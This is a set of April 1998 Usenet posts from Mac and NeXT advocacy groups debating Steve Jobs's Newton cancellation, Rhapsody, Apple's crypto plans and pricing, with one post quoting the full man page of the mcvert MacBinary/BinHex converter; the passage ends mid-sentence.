From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 06:14:02 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6hk1ra$o3n$1@new-news.cc.brandeis.edu>
References: <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
In article <353D06AD.5412@CONVEX.COM> Michael Peck <ECK@CONVEX.COM> writes:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
>> Amelio may have been wrong on
>> a. cloning ( Apple + cloners should have worked out a more
>
>I won't even get into this again.
>
>> b. Newton (supposedly Amelio's keeping the Newton was against
>> various recommendations.)
>
>But not, apparently, the recommendations of customers. Silly Amelio!
>Jobs has since proven that ignoring customers is a smarter way of doing
>business.
Without any hard statistics, any conversation on Newton today is heresay.
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 22 Apr 1998 06:11:52 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6hk1n8$o3f$1@new-news.cc.brandeis.edu>
References: <6hhas2$eef$1@news.digifix.com> <6hhmkd$e3g$1@ns3.vrx.net> <6hiv08$3e3$1@news.digifix.com>
In article <6hiv08$3e3$1@news.digifix.com> sanguish@digifix.com (Scott Anguish) writes:
>On 04/21/98, Maury Markowitz wrote:
>>In <6hhas2$eef$1@news.digifix.com> Scott Anguish claimed:
>>> I do have some ideas on the Mac problems, and I've outlined
>>> them on a mailing list... they allow you to encode all the
>Macintosh
>>> specific information (resource forks/finder info etc..) using
>existing
>>> standard, documented formats.
>>
>> May I ask what that is? Please don't let it be AppleSingle.
>>
>
> No, it wasn't AppleSingle...
>
> Although its certainly possible to use either AppleSingle, or
>AppleDouble, my suggestion was MacBinary...
>
> Very low overhead (128bytes)
> Easy to read
> Easy to write
> Programs are available on virtually every platform to
>manipulate the contents.
>
> I've already written (under contract to a company)
>AppleSingle/AppleDouble and MacBinary encoders and decoders... that,
>combined with resource access code is quite handy for converting old
>files and accessing legacy data..
>
>
>
>--
>Scott Anguish <sanguish@digifix.com>
>NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
>
Under UNIX, I use the freely available (with source) mcvert. I'll include
a man page dump, as it has some very relevant information. In fact, near
the bottom, it starts talking about other programs and mentions macunpack
which is says will handle StuffIt and Compact Pro archives (!)
Usage: mcvert { [option] ... name ...} ...
version: 2.16
default: -xDqv
option:
-x BinHex .hqx <-> MacBinary
-u Text(trans) .text <-> MacBinary
-h Host(as is) .text <-> MacBinary
-d Data .data <-> MacBinary
-r Resource .rsrc <-> MacBinary
-b Both .data .rsrc <-> MacBinary
-D Download Other -> MacBinary
-U Upload MacBinary -> Other
-p BinHex -> MacBinary => unpack PIT
-q disable unpack PIT
-t translate end-of-line chars (useful with -b)
-I Information only (does not write output files)
-P Pipe output to stdout
-s silent
-S Silent about ``Converting ... '' lines too
-v verbose
-V Verbose, includes debugging information
-VV Very Verbose, includes extra debugging information
-H disable skip-legal-but-suspect-lines Heuristic
Environment:
MAC_FILETYPE TEXT|???? Mac file type for Text|other
MAC_EDITOR MACA|???? Mac creator (author) for
Text|other
MAC_EXT .bin extension for -D
MAC_DLOAD_DIR . directory for -D
MAC_LINE_LIMIT none maximum line length for -Ux
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
NAME
mcvert - MacBinary <=> BinHex 4.0 and more file conversion
utility
SYNOPSIS
mcvert { [option] ... name ... } ...
DESCRIPTION
The mcvert program translates files between MacBinary format
and other formats often used in exchanging Macintosh files.
See FILE FORMATS below for a description of the file formats
supported.
PARAMETERS
The defaults for the parameters are -xDqv: convert BinHex
4.0 files (x) to MacBinary files (D), bypass automatic
unpacking of PIT files (q), and provide a verbose level of
output (v).
OPTIONS
All the options, other than FORMAT OPTIONS described below,
are listed here. From each set, one and only one
alternative is active for any one file.
U | D
When option -U, as in Upload, is selected, the
conversion is from MacBinary to something else.
Conversely, option -D, as in Download, selects
conversion from something to MacBinary.
p | q
If a BinHex 4.0 to MacBinary conversion is taking place
and option -p, as in Pit, is selected, any file of type
"PIT " will be unpacked into its constituent parts.
This option does not recursively unpack "PIT " files
packed in "PIT " files. If a MacBinary to BinHex 4.0
conversion is taking place, this option is currently
ignored. Conversely, option -q, as in Quiescent, does
no such unpacking.
t Macintosh and UNIX differ in the end-of-line character
they use. Option -t, as in Translate, enables end-of-
line character translation for the data. Translation
is off by default, but it is enabled automatically when
processing -u (Usual Text) files. Option -t is useful
when processing both data and resource files at the
same time (option -b) to enable end-of-line character
translation for the data.
S | s | v | V | VV
Normally, mcvert prints converting messages and other
information about the files it is processing to stderr.
Page 1 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
Option -S, as in SILENT, disables all such reporting.
Option -s, as in Silent, disables all but the
"Converting ..." messages. Option -v, as in Verbose,
emits generally useful information. Option -V, as in
VERBOSE, displays some additional debugging
information. Option -VV, as in VERY VERBOSE, displays
detailed debugging information as well.
H Option -H, as in Heuristic, disables the skip-legal-
but-suspect-lines heuristic used when processing BinHex
4.0 formatted input files. See BUGS below for details
on the heuristic.
I Option -I, as in Information only, does not write
output files, but does indicate which output files
would normally be written. All other operations are
performed, including verifying file formats and
calculated CRC values. The -I option basically
provides a non-destructive verification of the files
and their processing. It is also a soothing balm for
the somewhat paranoid, since it reports what files
would be changed, without actually changing them.
P Option -P, as in Pipe output to stdout, writes the
resulting output file(s) to stdout, rather than to the
file system with the appropriate extension. The
default is to use the file system.
FILE FORMATS
Some useful formats in which Macintosh files are represented
on non-Macs are:
MacBinary:
An eight bit wide representation of the data and
resource forks of a Mac file and of relevant Finder
information, MacBinary files are recognized as
"special" by several Macintosh terminal emulators.
These emulators, using kermit or xmodem or other file
transfer protocols, can separate the incoming file into
forks and appropriately modify the Desktop to display
icons, types, creation dates, and the like.
BinHex 4.0:
A seven bit wide representation of a Mac file with CRC
error checking, BinHex 4.0 files are designed for
communication of Mac files over long distance, possibly
noisy, seven bit wide paths.
PackIt:
PackIt files are actually representations of
collections of Mac files, possibly Huffman compressed.
Packing many small related files together before a
Page 2 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
MacBinary transfer or a translation to BinHex 4.0 is
common practice.
Text:
A Macintosh ends each line of a plain text file with a
carriage return character (^M), rather than the newline
character (^J) that some systems require (for example,
UNIX). Moreover, a MacBinary file has prepended Finder
information that non-Macintoshes usually don't expect.
Data, Rsrc:
A Data or Rsrc file is the exact copy of the data or
resource fork of a Macintosh file.
FORMAT OPTIONS
Exactly one of the following selections may be specified for
an input name:
x BinHex 4.0 [.hqx] - files in the MacBinary format are
translated to BinHex 4.0 files, or vice versa. The
name argument is the name of a file to be converted.
If the conversion is from BinHex 4.0 to MacBinary,
several files may comprise the BinHex 4.0
representation of the Mac file. Rather than manually
concatenate the files and manually delete mail headers
and other extraneous garbage, one may specify the names
of the files in order and mcvert will do the
concatenating and deleting. Conversely, in converting
a MacBinary file to BinHex 4.0 format for mailing over
long distances, one may be restricted to mail messages
of no greater that some fixed length. In this case,
mcvert can automatically divide the BinHex 4.0 file
into pieces and label each piece appropriately. For
details on automatically segmenting files, see the
description of the MAC_LINE_LIMIT environment variable
below.
u | h
Text [.text] - files in the MacBinary format with
nonempty data forks and empty resource forks are made
from ordinary data files, or vice versa. Option -u,
for Usual Text, performs translation. Option -h, for
Host Text, performs no translation. When translating,
UNIX newline characters are interchanged with Macintosh
carriage return characters.
d Data [.data] - files in the MacBinary format with
nonempty data forks and empty resource forks are made
from ordinary data files, or vice versa. If the data
is really text, you should use -u or -h so that the
file type and creator get set correctly.
Page 3 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
r Resource [.rsrc] - files in the MacBinary format with
empty data forks and nonempty resource forks are made
from ordinary data files, or vice versa.
b Both [.data .rsrc] - files in the MacBinary format with
nonempty data forks and and nonempty resource forks are
made from ordinary data files, or vice versa. For
option -b processing, a single base file name is
provided, and the ".data" and ".rsrc" extensions are
supplied by mcvert.
FILE NAMES AND EXTENSIONS
mcvert uses certain file extensions when reading and writing
files. These extensions are indicated in the "FORMAT
OPTIONS" section above. For example, the appropriate
extension for a BinHex 4.0 file is ".hqx".
For input files, mcvert first tries to open the file using
the specified name. If that fails, mcvert appends the
appropriate suffix (if not already present) and tries again.
Recall that for option -b (Both) processing, a single base
file name must be provided, since the ".data" and ".rsrc"
extensions are appended automatically by mcvert. For
example, "mcvert foo" will try to open "foo", and failing
that, try to open "foo.hqx" for input; while "mcvert -b foo"
will open only "foo.data" and "foo.rsrc" for input.
For output files, mcvert always uses the specified base file
name and appropriate extension. For MacBinary and BinHex
4.0 input files, the base file name is specified within the
input file, while for plain files, the file name specified
on the command line is used. The appropriate extension is
based on the conversion, or on the MAC_EXT environment
variable for MacBinary output files. For example, if there
is text file named foo.text (but no file named foo), "mcvert
-u foo" will use foo.text as input, and generate a file
called "foo.bin", while "mcvert -u foo.text" will use
foo.text as input, and generate a file called
"foo.text.bin".
ENVIRONMENT VARIABLES AND DEFAULTS
There are five environment variables one may use to
customize the behavior of mcvert slightly.
MAC_FILETYPE
The file type of a MacBinary file converted from non
BinHex 4.0 inputs is set to this four-character
sequence. For example, one might set this variable to
"PICT" when converting files created by ppmtopict(1).
The default is "TEXT" for Text or Host inputs, and
"????" otherwise. BinHex 4.0 inputs specify the file
type to use internally.
Page 4 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
MAC_EDITOR
The creator type (author) of MacBinary files is set to
this four-character sequence. The default is "MACA"
(the creator type of MacWrite) for Text inputs, and
"????" otherwise. BinHex 4.0 inputs specify the
creator type to use internally.
MAC_DLOAD_DIR
The MacBinary files created when option -D is selected
are placed in this directory. The default is ".", the
current working directory.
MAC_EXT
The MacBinary files created when option -D is selected
are named according to the file name field stored in
the file header, with the name extended by this suffix.
The default is ".bin".
MAC_LINE_LIMIT
The BinHex 4.0 files created when option -U is selected
may be no longer than this many lines long. Files that
would otherwise exceed this line limit are broken up
into several files with numbers embedded into their
file names to show their order. Each such file has
"Start of part x" and "End of part x" messages included
where appropriate.
BUGS
mcvert silently discards input lines which are not
completely valid. Therefore, error indications for
illegally formatted files are likely to be somewhat obtuse,
often with just a CRC mismatch message.
In order to handle files (such as segmented
comp.binaries.mac files) which have extraneous but valid
BinHex 4.0 lines (such as "---"), mcvert uses the following
heuristic to discard suspect but legal lines in BinHex 4.0
formatted input files. When a new file is opened, or when
invalid lines are found, the search for good data begins.
While searching for good data, if a line is too short (less
than 12 characters), or if a line is just a single repeated
character, the line is discarded. Once mcvert starts
processing good data, no valid lines are discarded. Thus,
this heuristic can also discard (unusually formatted) valid
and intended BinHex 4.0 lines. While there is no way to
tune the heuristic (other than modifying the program and
recompiling), the heuristic can be completely disabled with
the -H option. So if you run into problems, put all the
relevant lines into one file, edit the file to remove any
extraneous lines, and invoke mcvert with the -H option.
It should be possible to discard bad input now and
Page 5 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
successfully translate good input later, but bad input
usually causes immediate termination.
A more diligent person would support BinHex 3.0 and BinHex
2.0 and BinHex 5000 B. C., but I've never seen or heard of
anyone using them in years.
OTHER PROGRAMS
There are a number of programs which run on the Mac and
convert between various Macintosh file formats. For
example, here's what info-mac/help/accessing-files.txt, as
of 13Jun93, has to say about converting between BinHex 4.0
and native Mac files:
You can also do the conversion on your Macintosh by
using any of a number of utilities, including BinHex
4.0, StuffIt, or Compact Pro. We recommend using
Compact Pro because it is slightly more convenient and
reliable than the other tools. Note: do NOT use BinHex
5.0 as it is incompatible, for some very brain-damaged
reasons.
CompactPro is a wonderful piece of shareware. But if your
needs are limited to expansion of BinHex 4.0 files, StuffIt
or CompactPro archives or AppleLink packages, then the
freeware StuffIt Expander (v 3.0.3 as of 28Jul93) may be
just what you want.
There are other programs available which run under UNIX and
convert between various Macintosh file formats. One of
these programs may be what you want to use if mcvert does
not meet your needs. One collection, called macutil, is
available from various archives. Here's what the
comp.sys.mac.comm FAQ (Frequently Asked Questions), Last-
modified: Sat Jun 05 1993, has to say about it:
As of (8/92), macutil includes three programs:
hexbin
a program to convert BinHex 4.0 to MacBinary; it
also converts uuencode (and UULite) files to their
native binary format; support for .dl, .hex, and
.hcx formats (all predecessors of BinHex 4.0) also
exists
macsave
a MacBinary filter program to convert between
various MacBinary representations, including a
single .bin file, three separate .data, .rsrc,
.info files, and AUFS format. macsave also allows
one to "peek" inside MacBinary files
Page 6 (printed 4/22/98)
MCVERT(LOCAL) UNIX System V (10Nov93) MCVERT(LOCAL)
macunpack
a program to unpack PackIt, StuffIt, Diamond,
Compactor/Compact Pro, most StuffIt Classic and
StuffIt Deluxe, DiskDoubler, Zoom and LHarc/MacLHa
archives.
It also decodes BinHex 5.0, MacBinary, uuencode,
and UNIX compress (ie: .Z suffix) files (as well
as variants of compress implemented by various
Macintosh compress programs).
Support for password protected and/or multi-
segment archives of various types is minimal or
non-existent.
SEE ALSO
hexbin(1), kermit(1), macbin(1), macunpack(1), macsave(1),
macutil(1), ppmtopict(1), sit(1), unsit(1), xbin(1),
xmodem(1)
AUTHORS
Doug Moore, Cornell University Computer Science. Based upon
xbin by Dave Johnson, Brown University, as modified by Guido
van Rossum, and upon unpit by Allan G. Weber, as well as
upon correspondence with several helpful readers of USENET.
Joseph P. Skudlarek (Jskud@wv.MentorG.com) made numerous
enhancement and maintenance releases. See the comments in
mcvert.c for additional supporting characters.
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 04:53:32 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353DBE1B.DCC99E44@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net>
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The Doom That Came To Usenet wrote:
> Well, Joe, you'll probably be able to pick one up on the cheap, before too long.
> Look at it this way: If you want a Newton MessagePad, then Jobs did you a favor
> by killing it.
> How many of you could afford the $1K price tag while Newton was still
> "viable"? ;-D
>
Or the $799 list price 2 months before the cancellation.
What's interesting tho, is the resale price on the now cancelled Newton has
increased from $450-$500 to $750-$800.
> Bottom line: People didn't care how much better the Newton was than the
> Palm Pilot
> or Windows CE devices, for that matter.
> They get the job done, and they don't cost a thousand bucks each.
They also want syncing software that works. NCU was shipped a year late, with
limited syncing options, and the PC version almost-but not quite works.
> Now, when the price of the discontinued MessagePads drop to the same price
> point as
> the Palm Pilots, I'm there, dude.
>
MP 120/130's are at that price point.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 09:56:16 GMT
Organization: P & L Systems
Message-ID: <6hkes0$57p$21@ironhorse.plsys.co.uk>
References: <6hj4s6$61q@news.nd.edu>
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Cc: sboker@calliope.psych.nd.edu
In <6hj4s6$61q@news.nd.edu> Steven M. Boker wrote:
> For years I've been wishing that the NeXTSTEP interface could be
> running on SGI machines.
>
Are you sure it didn't...?
Best wishes,
mmalc.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Date: Wed, 22 Apr 1998 13:04:02 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <ErtGAq.G2K@AWT.NL>
References: <893218379.739727@globe.uwaterloo.ca>
dfevans@bbcr.uwaterloo.ca (David Evans) wrote:
> http://RhapsodyOS.com/report/RP00012.html mentions this as one of the WWDC
>session. I wonder if FEE is going to make a comeback? R.E.C. rides again!
I recall heaving read that FEE had been broken.
Does someone know more?
And will the US government try to stop export?
Crypto architecture is allright, if we can plug in our own engines.
Btw, what about a 'compression architecture'? I have tested bzip and it is on
many occasions superior to gzip. I have also created an installer package for
it for NEXTSTEP on ftp://ftp.nluug.nl/pub/comp/next.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: scott@leorg.ucdavis.edu (Ryan Scott)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 22 Apr 1998 15:28:55 GMT
Organization: UC Davis - Dept. Applied Science
Message-ID: <6hl2bn$pb3$1@mark.ucdavis.edu>
References: <no-2104982333090001@grv230155.columbus.rr.com>
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Cc: no@spam.com
In <no-2104982333090001@grv230155.columbus.rr.com> Steve Jones wrote: The
> following paragraph is from a great article on Stepwise:
>
> ----------------
> "So, take heart, Rhapsody enthusiasts. Rhapsody is cool
> beyond belief and is coming to a system near you. Remember, even if
> everyone at Apple marketing had a brain aneurism and decided Rhapsody
> really will be a server OS forever, it really isn't their decision. It's
> ours. It's not like they're going to give us a worksheet when we buy our
> Macintosh, and if we check the "client and server" box they say, "Nope,
> sorry, we can't sell you Rhapsody, it's only for servers." -Wil Shipley
> is the President of Omni Development, Inc, a long-time OpenStep
> developer.
> ----------------
>
> I think this is an excellent take on the whole matter, becuase I know
> that when Rhapsody does finally hit the shelves, I'm going to be there
> to buy it. I've had a chance to use DR1 and Blue Box, and it seems like
> an acceptable solution for me until there are native Rhapsody apps
> around. And I'm sure there are many more people out there who are going
> to upgrade as well.
>
> The whole article is here:
>
> http://www.stepwise.com/Articles/Editorial/wjs_ServerOS.html
>
> and is definitely worth the read.
>
> Steve
Apple may not be able to control *how* Rhapsody is used, but they can
effectively decide *who* will use Rhapsody by what pricing structure they
choose. If Apple decides that Rhapsody is an enterprise server OS they
will price it as such, out of the single user range...
--
________________________________________________
Ryan P. Scott
Laser and Electro-Optics Research Group
UC Davis - Department of Applied Science
Tel: (530)754-4358 Fax: (530)752-1652
Email: scott@leorg.ucdavis.edu
________________________________________________
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 15:40:35 GMT
Organization: @Home Network
Message-ID: <6hl31j$8an$1@ha2.rdc1.sdca.home.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
<6hk9r4$ga7$1@ns3.vrx.net>
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Cc: maury@istar.ca
In <6hk9r4$ga7$1@ns3.vrx.net> Maury Markowitz wrote:
> In <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> > What does it buy them?
>
> A LOT of things...
>
> a) high end hardware design, something Apple currently doesn't have
> b) a customer list perfectly suited to Apple's strengths
> c) a "stream" of consistant offerings from "low end" to "big iron"
> that they can offer to customers
> d) OpenGL from the masters
> e) a VERY strong message in the content creation AND content providing
> areas
>
>
How does that affect Apple? I mean in a profit sense? SGI's EPS is projected
at -$0.069 FY98. How does Apple affect SGI? Is there a killer.app for MacOS
in there? What is the synergy that Apple's customer base provides for SGI
merging? Obviously SGI customers clearly are NOT Apple customers.
-r
Rex
-r
Rex
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 22 Apr 1998 08:36:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hka5i$ga7$3@ns3.vrx.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu>
<B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net>
<TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net>
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Cc: TheLidlessEyeTh@Sees.All
In <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> The Doom
That Came To Usenet claimed:
> Bottom line: People didn't care how much better the Newton was than the
> Palm Pilot or Windows CE devices, for that matter.
Kinda like they don't care about the same differences about Mac's. I don't
blame people for buing PC's, it's a gestault issue that's larger than the
machine itself.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 14:03:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6hktc7$386@newsb.netnews.att.com>
References: <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hk1ra$o3n$1@new-news.cc.brandeis.edu>
Originator: gupta@tlctest
In article <353D06AD.5412@CONVEX.COM> Michael Peck <ECK@CONVEX.COM> writes:
>>> b. Newton (supposedly Amelio's keeping the Newton was against
>>> various recommendations.)
>>
>>But not, apparently, the recommendations of customers. Silly Amelio!
>>Jobs has since proven that ignoring customers is a smarter way of doing
>>business.
If the customers don't make you money, then "ignoring the customer"
may be the right thing to do. Amelio had hired some firm to advise
him on how to turn around Apple. They recommended killing it; and
presumably they had done their homework. Amelio (correctly, incorrectly)
went against their advice.
-arun gupta
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 08:30:28 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hk9r4$ga7$1@ns3.vrx.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
In <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> What does it buy them?
A LOT of things...
a) high end hardware design, something Apple currently doesn't have
b) a customer list perfectly suited to Apple's strengths
c) a "stream" of consistant offerings from "low end" to "big iron"
that they can offer to customers
d) OpenGL from the masters
e) a VERY strong message in the content creation AND content providing
areas
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Date: 22 Apr 1998 08:33:23 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hka0j$ga7$2@ns3.vrx.net>
References: <893218379.739727@globe.uwaterloo.ca>
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Cc: dfevans@bbcr.uwaterloo.ca
In <893218379.739727@globe.uwaterloo.ca> David Evans claimed:
> http://RhapsodyOS.com/report/RP00012.html mentions this as one of the
WWDC
> session. I wonder if FEE is going to make a comeback? R.E.C. rides again!
I think it's more likely that Apple is finally doing something I have been
advocating for going on THREE YEARS now, the decoupling of the crypo engines
in PowerTalk into their own libraries.
For those of you from the NeXT side of things, Apple did have a complete
(although likely date by today's standards) crypo API in the MacOS in '94,
although it was bundled as a part of PowerTalk. This actually made some
sense as PT was an e-mail solution (duh, just what the world needs, another
propietary e-mail system) and when that project was killed the crypo engine
went with it - for no apparent reason.
Maury
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Newsgroups: comp.sys.next.advocacy
References: <893218379.739727@globe.uwaterloo.ca> <ErtGAq.G2K@AWT.NL>
In-Reply-To: <ErtGAq.G2K@AWT.NL>
From: not@my.address.net
Message-ID: <CBn%.1308$p5.6265523@news.itd.umich.edu>
Date: Wed, 22 Apr 1998 14:59:46 GMT
NNTP-Posting-Date: Wed, 22 Apr 1998 10:59:46 EDT
On 04/22/98, Gerben Wierda wrote:
>
>And will the US government try to stop export?
>
This doesn't have to be an issue if Apple takes advantage of their dynamic
object model -- Apple doesn't have to export an encryption bundle, they
just have to export a consistent and well thought out interface. Make the
API public and people can add their own bundles to bind with their
precompiled apps.
The best solution would be to have an FEE.bundle that people in the USA can
download from Apple's US website (much as MIT distributed PGP), and make
the uncompiled code available for download anywhere (much as machine
readable code shipped with _Applied Cryptography_). Then everyone would
have access to strong encryption and we'd all be able to use the same
interface.
--
invert: umich.edu jdevlin
insert: shift "2"
From: stefan2@home.com
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody G3 support
Date: Wed, 22 Apr 1998 11:19:13 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6hl5a1$keq$1@nnrp1.dejanews.com>
Hi there...
Anyone know if Rhapsody does/will
support the G3 architecture? Rumor?
Fact?
Thanks,
Stefan Garr
stefan2@home.com
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Wed, 22 Apr 1998 12:57:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2204981257370001@wil102.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu>
In article <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu>,
steve_bryan@hotmail.com (Steve Bryan) wrote:
> In article <joe.ragosta-1904981929240001@elk50.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
> > spambait@seemysig.com (Mike Cohen) wrote:
> ...
> > >
> > > Killing the newton alone is enough reason to get rid of him. The Newton
> > > didn't deserve to die.
> >
> > I might believe this--if anyone could show that the Newton had ever made
> > money or had any chance of making money.
>
> I would think that the Palm Pilot provides evidence that the Newton had a
> chance of making money. Until its success one could possibly claim that
It doesn't show any such thing. The Palm Pilot was 1/4 the size and 1/4
the price.
> there just wasn't money to be made in this product category. Surely no one
> could claim that now. However, I think they were right to narrow the focus
> of Apple but don't quite understand why it was necessary to spin Newton
> back in only to kill it. Whatever was to be gained by picking over the
> corpse would seem to be dissipated by the well-earned ill will.
>
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 21 Apr 1998 05:00:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jo9v0.q17.sal@panix3.panix.com>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net> <slrn6jk439.rln.sal@panix3.panix.com> <353B8C11.1CF4@CONVEX.COM> <353C18CF.59F87E7C@nstar.net>
On Mon, 20 Apr 1998 22:55:59 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Michael Peck wrote:
>> > You can change the 80*25 default.
>> Sweet. How?
>Whoa! Before I get the *CRAP* flamed out of me by some NT user, I should
>point out that this is configurable via some *really* obvious settings
>in the (duh) Console control panel.
Odd, I never noticed it before. I always just mucked about in regedit.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 22 Apr 1998 14:59:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6js1ep.61p.sal@panix3.panix.com>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM>
On Tue, 21 Apr 1998 16:24:18 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>Apple is not and never has been a member of the OpenGL ARB. If anything
>has been slowing adoption of OpenGL, it is companies that drag their
True. A lot of use have been sending in requests for OpenGL support.
Bob posted that he was in a meeting with an Apple rep who stated that
OpenGL would be in QTML. There hasn't been any offical word though.
>> Rhapsody in no way impedes 3D, but if Apple integrated OpenGL support and
>> third party vendors offered higher end cards, things would look better.
>> It'd also be nice to see RenderMan support built in again.
>Jobs impedes 3D.
I don't see that at all. QTML will have QD3d. It could be built on OpenGL
rather than RAVE, or it could include both. And Renderman could be added
